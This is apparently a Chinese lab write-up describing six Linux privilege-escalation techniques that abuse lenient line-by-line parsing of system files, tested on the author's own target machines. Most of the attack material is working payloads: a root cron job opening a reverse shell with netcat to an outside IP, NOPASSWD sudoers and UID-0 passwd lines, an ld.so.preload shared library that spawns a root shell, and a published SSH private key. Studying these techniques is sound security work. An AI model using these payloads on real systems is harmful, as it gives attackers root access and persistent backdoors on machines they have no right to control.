利用配置文件内容容错性实现权限提升的六种方式
该利用方式为写入内容不完全可控条件下,构造出一个 换行,并完全控制其中一行内容,在此场景下展开提权方案的探讨。
核心思路:利用部分系统配置文件在解析时的“逐行独立处理 / 忽略错误行 / 宽松解析”等特性,在仅能部分控制写入内容的情况下,通过构造换行并精确控制单行内容,实现插入有效配置,从而完成权限提升。
下面会给出六种文件写提权方案
0、输出/写入内容覆写 sudo 文件
优点:简单暴力,无需寻找其他利用文件,覆写文件本身。
缺点:破坏性强,不可重复利用。
如果利用点是 sudo 授权文件,它的功能允许构造出换行并控制写入其中一行内容到指定文件,那么直接覆盖整个文件。当 sudo 执行的目标文件不再是合法 ELF 或脚本时,execve 会失败并返回 ENOEXEC。在常见 shell 环境下,系统会尝试将该文件作为 shell 脚本解释执行,从而导致我们写入的内容被当作命令执行。
扩展:
这里以我的 Search 靶机来演示,提权方案是 sudo dirsearch,通过 dirsearch 的参数控制写入日志的行为,构造一个换行,然后完全控制一行内容,覆写 dirsearch 本身

成功控制文件写入内容,覆写 dirsearch,现在sudo 执行dirsearch 就会被当成 bash 脚本来执行

1、 SSH 授权公钥文件 (authorized_keys)
选择理由:authorized_keys 会将文件中的每一行解析为一条独立的公钥(空行和以 # 开头的注释行除外),只要整行语法合法就会被 sshd 接受并参与认证匹配。这种“逐行独立解析”的机制,使我们只需成功写入一行格式正确的公钥,就能在不破坏原有配置的前提下实现权限提升。
优点:只需写入一行合法公钥即可提权
缺点:需要 .ssh 目录存在且权限正确(~/.ssh 权限必须是 700,authorized_keys 必须是 600),同时 sshd 配置允许使用公钥认证(PubkeyAuthentication yes)和允许 root 登录,默认情况下,无需特别关注此限制。
适用范围:大部分 Linux 发行版均适用,包括 Debian、Ubuntu、Alpine 等。
文件的每一行包含一个密钥(空行和以“#”开头的行将被视为注释而忽略)。公钥由以下以空格分隔的字段组成:options、keytype、base64 编码的密钥和注释。options 字段是可选的。
[options] keytype base64编码的公钥数据 [comment]
ssh-rsa AAAAB3NzaC1yc2E... test@test
man 手册https://man.openbsd.org/sshd中关于 authorized_keys 的描述:

准备一对 SSH 密钥对:
公钥:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAvB6zd9IbBFUZFVaVaHDbYxblzzWIURvbOCj2ix3g+m ssh-ed25519-20251128170612
私钥:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtz
c2gtZWQyNTUxOQAAACALwes3fSGwRVGRVWlWhw22MW5c81iFEb2zgo9osd4PpgAA
AKBvt7BNb7ewTQAAAAtzc2gtZWQyNTUxOQAAACALwes3fSGwRVGRVWlWhw22MW5c
81iFEb2zgo9osd4PpgAAAEBypkeI+1U7vOaeNLqi/CkDuVQPa2rXWF8peXA/0pUp
qwvB6zd9IbBFUZFVaVaHDbYxblzzWIURvbOCj2ix3g+mAAAAGnNzaC1lZDI1NTE5
LTIwMjUxMTI4MTcwNjEyAQID
-----END OPENSSH PRIVATE KEY-----
测试:把公钥写入root用户的 /root/.ssh/authorized_keys 文件中
.ssh 目录权限控制
mkdir -p /root/.ssh
chmod 700 /root/.ssh
公钥写入内容
1a
2b
3c
4d
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAvB6zd9IbBFUZFVaVaHDbYxblzzWIURvbOCj2ix3g+m ssh-ed25519-20251128170612
5e
6f
7g
8h
9i
Debian 10

Kali SSH 可以成功登录 root

Ubuntu 22.04
写入公钥

Kali SSH 可以成功登录 root

Alpine
写入公钥

kali ssh可以成功登录root

2、 系统定时任务文件(Cron)
选择理由:在 Alpine Linux(busybox crond)系统下,crond 会跳过语法错误的行并继续执行同一文件中其他合法的定时任务条目,不会因为单行错误而影响整体任务执行。在 Debian 系发行版(如 Debian、Ubuntu、Kali 等)中,如果 /etc/crontab 或 /etc/cron.d/* 中存在语法错误行,通常会导致整个该 crontab 文件被忽略。
优点:只需写入一行合法定时任务即可提权
缺点:仅在 Alpine 系统下测试成功,Debian 系会因格式错误忽略整个定时任务文件
适用范围:仅在 Alpine(busybox crond)环境下测试验证通过。在 Debian、Ubuntu、Kali 等 Debian 系发行版中,由于 crond 在检测到语法错误时会忽略整个 crontab 文件,本方法在这些系统上实测无法稳定利用。
常见定时任务文件位置与格式:
busybox crond Alpine/容器精简系统 /etc/crontabs/<user>
crond (Cronie) CentOS / RHEL 系列 /etc/crontab + /etc/cron.d/*
cron / Vixie cron Debian / Ubuntu 系列 /etc/crontab + /etc/cron.d/*
文件内容格式:
Alpine 系统下 /etc/crontabs/<user> 文件格式:
* * * * * command
非 Alpine 系统下 /etc/crontab 和 /etc/cron.d/* 文件格式:
* * * * * user command
对于非 Alpine 等精简系统,更推荐在 /etc/cron.d/ 目录下放置定时任务文件,文件名可以任意命名。
Debian 10
测试:在 Debian 测试环境下,把恶意定时任务写入 /etc/cron.d/rootRevShell 文件中
1
2
3
4
* * * * * root /bin/bash -c "busybox nc 192.168.6.101 4444 -e bash"
5
6
7
8
Debian 下,通过日志定位,定时任务因为一行语法错误,整个定时任务文件被忽略
root@MazeSec:~# sudo grep cron /var/log/syslog | tail -20
Nov 28 04:17:01 moban CRON[651]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly)
Nov 28 04:28:01 moban cron[326]: Error: bad hour; while reading /etc/cron.d/rootRevShell
Nov 28 04:28:01 moban cron[326]: (*system*rootRevShell) ERROR (Syntax error, this crontab file will be ignored)
Nov 28 04:32:01 moban cron[326]: (*system*rootRevShell) RELOAD (/etc/cron.d/rootRevShell)
Nov 28 04:32:01 moban cron[326]: Error: bad hour; while reading /etc/cron.d/rootRevShell
Nov 28 04:32:01 moban cron[326]: (*system*rootRevShell) ERROR (Syntax error, this crontab file will be ignored)
Nov 28 04:33:01 moban cron[326]: (*system*rootRevShell) RELOAD (/etc/cron.d/rootRevShell)
Nov 28 04:33:01 moban cron[326]: Error: bad minute; while reading /etc/cron.d/rootRevShell
Nov 28 04:33:01 moban cron[326]: (*system*rootRevShell) ERROR (Syntax error, this crontab file will be ignored)
Nov 28 04:36:01 moban cron[326]: (*system*rootRevShell) RELOAD (/etc/cron.d/rootRevShell)
Nov 28 04:38:01 moban cron[326]: (*system*rootRevShell) RELOAD (/etc/cron.d/rootRevShell)
Nov 28 04:38:01 moban cron[326]: Error: bad minute; while reading /etc/cron.d/rootRevShell
Nov 28 04:38:01 moban cron[326]: (*system*rootRevShell) ERROR (Syntax error, this crontab file will be ignored)

Kali
本地 Kali 尝试写入定时任务测试,同样因语法错误,整个定时任务文件被忽略

Ubuntu 22.04
测试 Ubuntu 系统,同样因为语法错误,整个定时任务文件被忽略

好吧,有错误内容的定时任务在 Debian 系下似乎玩不转
Alpine
测试:在 Alpine 测试环境下,把恶意定时任务写入 /etc/crontabs/root 文件中,即使存在错误内容,仍然可以成功执行正确的定时任务行


3、 sudo 配置文件(sudoers)
利用理由:sudoers 解析器在读取配置时会跳过语法错误的行,并继续解析后续合法配置行。这种“跳过错误行”的机制,使我们只需成功写入一行格式正确的恶意配置,就能在不破坏原有配置的前提下实现权限提升。
优点:只需写入一行合法 sudoers 配置即可提权
缺点:未知
适用范围:大部分 Linux 发行版均适用,包括 Debian、Ubuntu、Alpine 等。
优先考虑在 /etc/sudoers.d/*目录下写入新文件实现提权,不建议直接操作 /etc/sudoers 文件
/etc/sudoers.d/ 目录下文件要求,文件名不能包含特殊符合,如空格、冒号、逗号等,否则会被 sudoers 解析器忽略,内容格式如下:
root ALL=(ALL:ALL) ALL
welcome ALL=(ALL:ALL) NOPASSWD:/path/to/xxx
实际操作建议:写入无密码的 sudo 权限配置,避免因目标用户需要输入密码而无法利用。
user ALL=(ALL:ALL) NOPASSWD: ALL
Debian 10
测试:在 Debian 测试环境下,把恶意 sudoers 配置写入 /etc/sudoers.d/welcome 文件中
当前无 sudo 权限

切到 root,在 /etc/sudoers.d/welcome 文件中写入内容:
1
2
3
4
welcome ALL=(ALL:ALL) NOPASSWD: ALL
5
6
7
8


切回 welcome 用户,测试 sudo 权限提升成功

sudoers.d 的授权文件报了语法错误,不过问题不大,正确的行已经生效了,嫌报错碍事提权把文件里的错误行删掉即可。
Ubuntu 22.04
测试:在 Ubuntu 测试环境下,把恶意 sudoers 配置写入 /etc/sudoers.d/welcome 文件中
当前无 sudo 权限

切到 root,在 /etc/sudoers.d/welcome 文件中写入内容:
1
2
3
4
welcome ALL=(ALL:ALL) NOPASSWD: ALL
5
6
7
8

切回 welcome 用户,测试 sudo 权限提升成功

Alpine
测试:在 Alpine 测试环境下,把恶意 sudoers 配置写入 /etc/sudoers.d/welcome 文件中
当前无 sudo 权限

切到 root,在 /etc/sudoers.d/welcome 文件中写入内容:
1
2
3
4
welcome ALL=(ALL:ALL) NOPASSWD: ALL
5
6
7
8

回到 welcome 用户,测试 sudo 权限提升成功


4、 passwd 文件
选择理由:passwd 文件的每一行包含一个用户信息,格式为username:password:uid:gid:gecos:home:shell。如果我们能够成功写入一行格式正确的恶意用户配置,并且该行被系统解析接受,那么就可以通过该恶意用户实现权限提升。
实际操作建议:此操作仅建议在追加内容的文件写操作或无奈之举下的选择,在覆盖写的场景下需谨慎使用。
优点:只需写入一行合法用户配置即可提权
缺陷:未知
适配范围:大部分 Linux 发行版均适用,包括 Debian、Ubuntu、Alpine 等。
debian 13
测试:在 Debian 测试环境下,追加脏字符与一行正确的用户配置到/etc/passwd 文件中
使用 openssl 生成一个加盐的 MD5 密码哈希值,格式为 $1$salt$hash,其中 salt 是一个随机字符串,hash 是密码经过 MD5 加密后的结果。
openssl passwd -1 -salt abc password
$1$abc$BXBqpb9BZcZhXLgbee.0s/
# 构造一行合法的用户配置,用户名为 test,密码为 password,UID 和 GID 都设置为 0(root 权限),home 目录为 /root,shell 为 /bin/bash
echo 'test:$1$abc$BXBqpb9BZcZhXLgbee.0s/:0:0:,,,:/root:/bin/bash'


alpine
在 Alpine 测试环境下,追加脏字符与一行正确的用户配置到/etc/passwd 文件中,同样成功利用。


5、 group 文件
选择理由:group 文件的每一行包含一个用户组信息,格式为groupname:password:gid:user_list。如果能够成功写入一行格式正确的恶意用户组配置,并且该行被系统解析接受,就可以通过将目标用户添加到任意组中尝试权限提升。
优点:只需写入一行合法用户组配置即可提权
缺陷:未知
适配范围:大部分 Linux 发行版均适用,包括 Debian、Ubuntu、Alpine 等。
某些高权限组(如 sudo、wheel)可直接导致权限提升,而其他组(如 docker、disk)通常需要结合特定利用方式间接提权。
部分组权限需要重新登录、重新启动 shell。
debian 13
测试:在 Debian 测试环境下,追加脏字符与一行正确的用户组配置到/etc/group 文件中

alpine
测试:在 Alpine 测试环境下,追加脏字符与一行正确的用户组配置到/etc/group 文件中

6、ld.so.preload 文件
选择理由:glibc 动态链接器在启动动态 ELF 程序时,会优先读取 /etc/ld.so.preload 文件中的每一行内容,并尝试预加载对应的共享库(.so)。
该文件具备以下关键特性:
- 每行独立解析
- 无效路径通常只报错并跳过
- 合法 SO 会被全局加载
- 对 setuid 程序同样生效
因此:
只要能够成功写入一行合法 SO 路径,就能在任意动态 ELF 启动时自动执行恶意代码,从而实现权限提升。
优点:
- 仅需写入一行 SO 路径
- 触发条件极低(执行任意动态程序即可)
- 对 setuid 程序同样有效
缺点:
- payload 稍有问题容易导致系统异常
- 会影响整个系统动态 ELF
- Alpine/musl libc 默认不适用
适用范围:glibc 系 Linux:Debian、Ubuntu、Kali、CentOS
不适用于:musl libc(如 Alpine 默认环境)
原理说明
动态 ELF 程序启动时:
ELF -> ld-linux.so -> /etc/ld.so.preload -> 加载 SO -> constructor 执行
只需在 SO 中实现 constructor 构造函数,即可在程序 main 函数执行前获得代码执行
__attribute__((constructor))
/tmp/pe.c 写入内容:
// gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
#include <unistd.h>
__attribute__((constructor))
void pwn()
{
unlink("/etc/ld.so.preload");
setuid(0);
setgid(0);
execl("/bin/sh","sh",(char *)0);
}
编译生成共享库:
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
写入到 /etc/ld.so.preload 文件中
echo '/tmp/pe.so' > /etc/ld.so.preload

为什么第一时间 unlink preload
/etc/ld.so.preload 会影响sh、bash、sudo、su、ls等所有动态 ELF,如果不先删除 preload,新的 shell 启动后又会再次加载当前 SO,最终形成无限递归。
sh -> preload -> constructor -> execl(sh)
文件名不可控场景下的利用方式
在一些场景下,文件名不可控,但文件内容可控,此时可以尝试软链接的方法。(来自Sublarge靶机)
利用了软链接的特性,构造一个软链接指向目标文件,然后写入内容到软链接中,达到修改目标文件的目的。

